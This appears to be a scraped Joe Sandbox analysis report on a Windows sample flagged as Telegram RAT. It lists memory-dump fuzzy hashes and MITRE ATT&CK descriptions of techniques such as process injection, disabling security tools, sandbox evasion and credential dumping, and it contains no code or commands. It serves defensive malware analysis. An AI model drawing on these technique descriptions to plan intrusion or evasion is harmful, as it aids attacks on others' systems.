Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28bdc3cd259c20f81c5e1cb262115ec10170bd669457c6a35617c57e5f58fdf1
Instruction ID: b3344286870719f6cce9e67b94abe8820b65a7f070561ef47080f4c115493371
Opcode Fuzzy Hash: 28bdc3cd259c20f81c5e1cb262115ec10170bd669457c6a35617c57e5f58fdf1
Instruction Fuzzy Hash: BCE0DF23A052944FC306D364AC61A6E3BA9EB8A251F4910E6C440EF6B2C6209D588392

Function 03110838 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1812fb9d3504408d95a016a443df7690ae637fb6e8763eae087d49ef084499
Instruction ID: 1ba5e4efc39c42f18abecf6500bb83407662230e62256fafe11015e6e5fb3b6a
Opcode Fuzzy Hash: 4a1812fb9d3504408d95a016a443df7690ae637fb6e8763eae087d49ef084499
Instruction Fuzzy Hash: 08F022309093C49FCB02CBB4E8D05ECBFB1DF0B201B5940C9C488DB652C6341E08CB01

Function 0311A450 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45e43afd54ee5772952bf94a9037f044308a1c05ca0e480ede5eb1e07b47d044
Instruction ID: ad29b146ab7e8cd2dfe668abc0fdf2175d0158990199a02e748a3a05c35355c6
Opcode Fuzzy Hash: 45e43afd54ee5772952bf94a9037f044308a1c05ca0e480ede5eb1e07b47d044
Instruction Fuzzy Hash: 50D0C2313401141B9A446278A4245BE39DFCBCA3607100035EA0AC73C4ED184C06979A

Function 03119CA0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f1257d5f093336a3cd92037f2ba13c55356c9ca5061795d247c9b7fa6a0afde
Instruction ID: 53177de69a11fe1b66710790f7dd6acfc8719c3d495b96d8538f224f5a824edf
Opcode Fuzzy Hash: 5f1257d5f093336a3cd92037f2ba13c55356c9ca5061795d247c9b7fa6a0afde
Instruction Fuzzy Hash: 42E09272D05288AFCF41CBB4A8501ECBFB19F07210B1446D6C485D7292E6311E15CF11

Function 03117D78 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0153bc0418753e6bb01a90b52df7db462672fa824019b6d4104ebaa5836ec487
Instruction ID: 62fca05bbb4f88e73932c1ba8e78dc259a74b812d5cde8bd498e3b606fa39335
Opcode Fuzzy Hash: 0153bc0418753e6bb01a90b52df7db462672fa824019b6d4104ebaa5836ec487
Instruction Fuzzy Hash: 75E0EC71D001199F8B80EFACD9015EEBBF4EF48250B1084BAD91DE7301E7319A11CBD1

Function 03114A78 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd5cfe4bbe02981b9f0a8dda4997d1028b8b8060db4f37a2c6a69514fb92321d
Instruction ID: dd5efbb22529b59b38424c9d45667112d9bf0551a815d6f11c561d4c8e20b49f
Opcode Fuzzy Hash: fd5cfe4bbe02981b9f0a8dda4997d1028b8b8060db4f37a2c6a69514fb92321d
Instruction Fuzzy Hash: DFD01770A01208EFCB44DFA4E951AADB7B9EB49201F5095E9D90AD3200EB316E019B91

Function 03110848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 526d1340332b0441298cbfa1198669ea547248e09a1c9fa9bd603577a096f3de
Instruction ID: 53d1c7d2dd7e7641295cf97864f55448ea058d5cbb64894037dc5c3320a99b88
Opcode Fuzzy Hash: 526d1340332b0441298cbfa1198669ea547248e09a1c9fa9bd603577a096f3de
Instruction Fuzzy Hash: 18D05E71E0030CEFCB40DFA4E9446ADB7FAEB49205F5085E9D909D7241EA316F149F91

Function 031110FC Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd13c3ff057ea083f636966e67efb1ab8059be65d2e58b9498bb47ed732b4d85
Instruction ID: 260d464db4447d09db95298ec4cc7363ee2c795a3595fdd655467b836eec6c15
Opcode Fuzzy Hash: fd13c3ff057ea083f636966e67efb1ab8059be65d2e58b9498bb47ed732b4d85
Instruction Fuzzy Hash: CEE02D3AB400148F8B44DB68E484898B3B5EB8C62572181A6E9199B331D631AD11CF40

Function 03117DE0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cf057f8f3a340a0638839a12d136ba886d4915165ccf76f56050ac9841d94ed
Instruction ID: c140abcb5a7e27b68a89128b52515655e6fab6d331d4b9fc4c59990e6b715101
Opcode Fuzzy Hash: 0cf057f8f3a340a0638839a12d136ba886d4915165ccf76f56050ac9841d94ed
Instruction Fuzzy Hash: 91D01771A0020CEFCB40DFA4E901A6DBBB9EB49209B1085EAD909D3200EA712E409B91

Function 03119CB0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaaefa45e37c1d99c34267240f91c3d9b7cc5acf43619e9246e728e3b23d44f1
Instruction ID: 205bbe53b70b96c7a2a718ec1b296cb8b1dc4f93e400faf5b8e8d4d690adc6ae
Opcode Fuzzy Hash: eaaefa45e37c1d99c34267240f91c3d9b7cc5acf43619e9246e728e3b23d44f1
Instruction Fuzzy Hash: 3FD05E70E0120CEFCB40DFA4E90166DBBFAEB49205F1085EAD909E3201EA312F549F91

Function 03119BA1 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa17c5c27c6fb9c2fff860867d71dd04b262a6f41748768a9d6553de12051b9b
Instruction ID: 5b2e2f4fa827a571fe2b7798e80a507bb64c8722278e1ab1f4361550e7afa500
Opcode Fuzzy Hash: aa17c5c27c6fb9c2fff860867d71dd04b262a6f41748768a9d6553de12051b9b
Instruction Fuzzy Hash: 65E0127095021ADFEB14CF50D9E9FEEB770BF45709F110529E012A6184CBB40460CBD6

Function 03118178 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bb9e8af202cbb2719c57a7eff25f23662727ac9e7af0d37bbd558ee861301f5
Instruction ID: 29e97edf4748e91db9a52b7ac90cbb933d5551d5b07ef2050c4238dc3ab44712
Opcode Fuzzy Hash: 3bb9e8af202cbb2719c57a7eff25f23662727ac9e7af0d37bbd558ee861301f5
Instruction Fuzzy Hash: 8FD01222B5031817C244F269FCA0BBE378DD78D7A1F401175D5059F2A4DEA55C5543D9

Function 0311E908 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb81f6c1239b4326ca90210f431054acda410b4bd0e02f55b3b2e3efa2c1f1d
Instruction ID: 307c04d94eb3b97781b48d73194e196599ebd73477c0a60c6818f40fa097e37f
Opcode Fuzzy Hash: 5bb81f6c1239b4326ca90210f431054acda410b4bd0e02f55b3b2e3efa2c1f1d
Instruction Fuzzy Hash: 8EC01221B0021417CA44A668B81056E7B8E9A896517405065C5099B344DE25EC4247D4

Function 03118A12 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78a4679cbfa00937692f45eb9296cd8fc73e9f6ef3d398f5d311b900dd210847
Instruction ID: 2f5c90ff2277d9c30859ae888ccadbc71c22780cdeb022e8aff9d6e297217d2e
Opcode Fuzzy Hash: 78a4679cbfa00937692f45eb9296cd8fc73e9f6ef3d398f5d311b900dd210847
Instruction Fuzzy Hash: 7BD0C9652492909FC7430764AC756953F316F8B610F1A80C6E6818B297C62558269795

Function 03116A88 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86d480beeba9cca546201a3e38021d7a198245a871f1db895a38fe964be68507
Instruction ID: f2a0f645719816053003168e84b967fc6855dbc31407f77fa289377eb8c62105
Opcode Fuzzy Hash: 86d480beeba9cca546201a3e38021d7a198245a871f1db895a38fe964be68507
Instruction Fuzzy Hash: 9AD012721093C00FC7035770AEAB1543F389D5B11674E51C6D2C4CA567D2684C16CB19

Function 031175E0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09f73a852312762787b6bb8d531bd8b86c09cb58f8cf3e9f1b6f019b7a3651c7
Instruction ID: ed58b647d8ab31288e1b5acc0f9ff7d391eb6647d9dcbae076ff9b1b837bbac0
Opcode Fuzzy Hash: 09f73a852312762787b6bb8d531bd8b86c09cb58f8cf3e9f1b6f019b7a3651c7
Instruction Fuzzy Hash: E1C012312102254FC6049B5CE544C4577ECDF49A2430141A6F10DCB231DAA1EC408BD5

Function 03118B20 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c324439ac94661461ea3dba4b272a7737c91745297befe4a093b199480f001e
Instruction ID: ab50e524d7088a09af10cb3bcfd0087a7ff784192e50d3c077387c2d4ec828df
Opcode Fuzzy Hash: 5c324439ac94661461ea3dba4b272a7737c91745297befe4a093b199480f001e
Instruction Fuzzy Hash: 6ED012741442054F8204E76DE846864F7A5BF48B20355C379F11E4F3D69F61EC11C685

Function 03116A61 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1048fe7ca31f1e74ff9f8b0f88286f102e103c664d54a2a53b132724fb8386c
Instruction ID: a154eccca305f9fadbafbd9cdf9d12d36e81cf427bbd6ddfccb95cacc4fb8e0a
Opcode Fuzzy Hash: f1048fe7ca31f1e74ff9f8b0f88286f102e103c664d54a2a53b132724fb8386c
Instruction Fuzzy Hash: 17D0C951A0D2C14EEB53973189A43132FB19B5721AF0900C982808B587D6689D198796

Function 0311B0C0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156a7bde116617a87679a6637d6861d23c9083bdd39c1bb6164ead4e0b708ee5
Instruction ID: da0630d710119b337632ddd98e80506d523a9187c3221ec4dd6b8be7cd802f8d
Opcode Fuzzy Hash: 156a7bde116617a87679a6637d6861d23c9083bdd39c1bb6164ead4e0b708ee5
Instruction Fuzzy Hash: C4C0022A8097D14FDB46176459B12903F30AB5B214B4D14CAC0808E167E9A50A4AAB22

Function 03117DB2 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5cec8d7ce417c7c31ea4d597661a226fc51b58f7dee5ace76f03f31031ed254
Instruction ID: af237209d44b77c28208d2bb155efa2f7780e13c2068f8dea10eef2cbe10532f
Opcode Fuzzy Hash: b5cec8d7ce417c7c31ea4d597661a226fc51b58f7dee5ace76f03f31031ed254
Instruction Fuzzy Hash: 89C04C4260D2D00FDB032B6444B03953F725F57220BDD50C3C0C44F15BC6599C5ADB26

Function 0311CAA0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8b498edd99dbb0330c7cc793d934915d8bbbe2c108904277e9aefc05aa5452b
Instruction ID: 3ae75ba6160b2071f6abddb9a5340016fdd929c7022d713f8d6949ae1d21ce5d
Opcode Fuzzy Hash: e8b498edd99dbb0330c7cc793d934915d8bbbe2c108904277e9aefc05aa5452b
Instruction Fuzzy Hash: 92C080B5C193C40FC71347507D170113F34670711670101DFDC0483062EE19182C8756

Function 0311EA31 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ff5938670b0a3dab4a7c3eae39aa46f32d706049f57a1cf1135f9a73755d984
Instruction ID: 2385219281485773a3a6af4cc7985045f40a67c122de30676f22ecf71f0affa0
Opcode Fuzzy Hash: 5ff5938670b0a3dab4a7c3eae39aa46f32d706049f57a1cf1135f9a73755d984
Instruction Fuzzy Hash: FDB02B43E092D603C3436108C0040802A151123190BA800E58C144D0A3F10C881531E6

Function 03116A98 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5575415ccb513e3eff9a796611b42915f9571be20b278edc785b3ac4b2863b
Instruction ID: 7c56686ca438f30c53cd0f51ef964e3e3d30f69d3c61b95cc3fd22989148816b
Opcode Fuzzy Hash: 6e5575415ccb513e3eff9a796611b42915f9571be20b278edc785b3ac4b2863b
Instruction Fuzzy Hash: 44B0127201030D4BC5007760F506614376CE588A0BFC05110B44D460019EF83C414FD9

Function 0311CB93 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ca9eed0e384baad0984c2590d7cf8fb786da8939ea2699643c22e4cd43bb277
Instruction ID: 406e04de2b860142e2c8c874c14dc50226f2cf002950925dda32e9860e388a51
Opcode Fuzzy Hash: 0ca9eed0e384baad0984c2590d7cf8fb786da8939ea2699643c22e4cd43bb277
Instruction Fuzzy Hash: B1A02230880000ABC20CCB00EC82320AA02BB80300FCCA0B800030A282CB2AC882C282

Function 03118DD8 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2064058750.0000000003110000.00000040.00000800.00020000.00000000.sdmp, Offset: 03110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3110000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5dc81a18c7fd1655d8f54667d960a6b5d2d238d2eeeda0c531e47b053046ee3
Instruction ID: 26bc1de2f1c5a57e2966d0a8fea8cedcf0d95c7a2aea212c9a9facf8a04648eb
Opcode Fuzzy Hash: b5dc81a18c7fd1655d8f54667d960a6b5d2d238d2eeeda0c531e47b053046ee3
Instruction Fuzzy Hash: 97A0022550410457D648D654817075965515799344F95D05444190A6855A57DC524991

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rukT6hBo6P.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

